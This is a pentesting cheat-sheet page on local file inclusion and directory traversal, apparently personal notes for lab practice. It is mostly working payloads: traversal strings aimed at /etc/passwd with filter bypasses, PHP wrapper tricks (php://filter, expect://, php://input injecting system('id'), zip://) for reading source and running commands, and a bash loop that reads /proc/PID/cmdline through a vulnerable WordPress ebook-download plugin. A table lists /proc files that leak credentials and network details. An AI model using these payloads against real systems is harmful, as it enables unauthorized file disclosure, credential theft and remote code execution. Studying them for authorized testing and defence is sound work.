Staphysec
  • StaphySec
  • Resources
  • Tricks
  • Brute Force - CheatSheet
  • File Transfer
    • Windows File Transfer
    • Linux File Transfer
    • HTTP/SMB/Nginx/Web Servers/Netcat
  • Hashcat
  • Cheatsheet
  • Curl
  • Tools
    • Cracking
    • Information Gathering
    • XSS
    • Obfuscation
    • Credentials Theft/ Win
    • Content Management Systems (CMS)
  • Programming and Scripting
    • Virtualenv & Switching Versions
    • Python
  • SHELLS
    • Shells (Linux, Windows, Msfvenom)
  • Linux
    • CheatSheet
    • EOP Linux Tools and Resources
    • Blogs
  • Windows
    • CheatSheet
    • EOP Windows Tools and Resources
    • Useful commands and Modules
    • Active Directory
      • Tools
  • Blogs
    • Miscellaneous resources
  • PENTESTING
    • 21 - Pentesting FTP
    • 22 - Pentesting SSH
    • 25,465,587 - Pentesting SMTP
    • 53 - Pentesting DNS
    • 110,995 - Pentesting POP
    • 135 - Pentesting WMI
    • 139,445 - SMB Pentesting
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
    • 623/UDP/TCP - IPMI
    • 1433 - Pentesting mssql
    • 2049 - NFS Pentesting
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 5985,5986 - WinRm
  • Pentesting Web
    • SQL Injections
      • MySQL injection
      • SQLmap Cheatsheet
    • Command injections
    • File Uploads
    • Abusing Intermediary Applications
    • HTTP Verb Tampering
    • IDOR
    • File Inclusion / Directory Traversal
    • XXE - XEE - XML External Entity
    • SSRF
    • SSI/ESI
    • SSTI (Server Side Template Injection)
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
Powered by GitBook
On this page
  • LFI
  • PHP filter to convert file contents to ROT13
  • Command execution with PHP Expect wrapper
  • Command execution with the PHP Zip wrapper
  • The Proc File System
  1. Pentesting Web

File Inclusion / Directory Traversal

PreviousIDORNextXXE - XEE - XML External Entity

Last updated 3 years ago

The Proc File System

LFI

 file:///../../../etc/passwd
 /etc/passwd on Linux or C:\Windows\boot.ini on Windows
 #if input from parameters used as part of filenames
 we can bypass by adding /../ in the
  
 # if Blacklisting is not coded correctly
 ..././ and ....// would become ../ vice vers sa
 cat .?/.*/.?/etc/passwd.
 Bash allows for for the ? and * wildcards to be used as wildcard
 
 #On PHP versions 5.3.4 and earlier, string-based detection could be bypassed by URL encoding the payload. 
 The characters ../ can be URL encoded into %2e%2e%2f, which will bypass the filter.

PHP provides various wrappers, which can be used for easier access to files, protocols, or streams. A list of wrappers can be found . The php:// wrapper is enabled by default and interacts with IO streams.

PHP filter to convert file contents to Base64

 php://filter/read=convert.base64-encode/resource=/etc/passwd
 #we can get the source code and decode it
 curl http://134.209.184.216:32391/extension/index.php?language=php://filter/read=convert.base64-encode/resource=config

PHP filter to convert file contents to ROT13

php://filter/read=string.rot13/resource=/etc/passwd

Command execution with PHP Expect wrapper

expect://id

Using PHP Input wrapper for command execution

curl -s -X POST --data "<?php system('id'); ?>" "http://134.209.184.216:30084/index.php?language=php://input"

Command execution with the PHP Zip wrapper

zip://malicious.zip%23exec.php&cmd=id

The Proc File System

$ for i in `seq 1 10000`; do curl -s --output - http://$RHOST/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/$i/cmdline | grep -oaE 'cmdline.*?<script>' | sed "s/cmdline\/proc\/$i\/cmdline\/proc\/$i\/cmdline//" | sed "s/<script>//" | grep -avE '^$'; done
Directory
Description

/proc/sched_debug

This is usually enabled on newer systems, such as RHEL 6. It provides information as to what process is running on which cpu. This can be handy to get a list of processes and their PID number.

/proc/mounts

Provides a list of mounted file systems. Can be used to determine where other interesting files might be located

/proc/net/arp

Shows the ARP table. This is one way to find out IP addresses for other internal servers.

/proc/net/route

Shows the routing table information.

/proc/net/tcp and /proc/net/udp

Provides a list of active connections. Can be used to determine what ports are listening on the server

/proc/net/fib_trie

This is used for route caching. This can also be used to determine local IPs, as well as gain a better understanding of the target’s networking structure

/proc/version

Shows the kernel version. This can be used to help determine the OS running and the last time it’s been fully updated.

Directory
Description

/proc/[PID]/cmdline

Lists everything that was used to invoke the process. This sometimes contains useful paths to configuration files as well as usernames and passwords.

/proc/[PID]/environ

Lists all the environment variables that were set when the process was invoked. This also sometimes contains useful paths to configuration files as well as usernames and passwords.

/proc/[PID]/cwd

Points to the current working directory of the process. This may be useful if you don’t know the absolute path to a configuration file.

/proc/[PID]/fd/[#]

Provides access to the file descriptors being used. In some cases this can be used to read files that are opened by a process.

Hacktricks
PayloadAllTheThings
Blog
Tool
secondtool
here